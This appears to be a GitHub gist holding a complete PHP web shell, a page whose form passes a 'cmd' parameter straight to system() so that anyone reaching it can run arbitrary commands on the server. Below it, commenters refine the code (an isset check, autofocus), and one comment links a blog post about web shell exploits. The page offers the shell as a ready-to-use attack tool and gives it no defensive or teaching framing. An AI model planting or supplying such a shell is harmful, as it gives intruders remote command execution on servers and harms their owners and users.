This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { | |
| system($_GET['cmd']); | |
| } | |
| ?> | |
| </pre> | |
| </body> | |
| </html> |
It's better to have the isset function before accessing the global variable $_GET['cmd']
like this if(isset($_GET['cmd']))
It's better to have the isset function before accessing the global variable
$_GET['cmd']
like thisif(isset($_GET['cmd']))
Nice and simple
That's actually helpful. Thanks
You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.
You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.
Updated, thank you!
Nice.....
Thank you :)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
However, there are a number of potential entry points, from coding error in the web application to configuration issues in either the web server or PHP, and you need only one single exploitable vulnerability to be successful. once can have a good overview on web shells with examples here https://secure.wphackedhelp.com/blog/web-shell-php-exploit/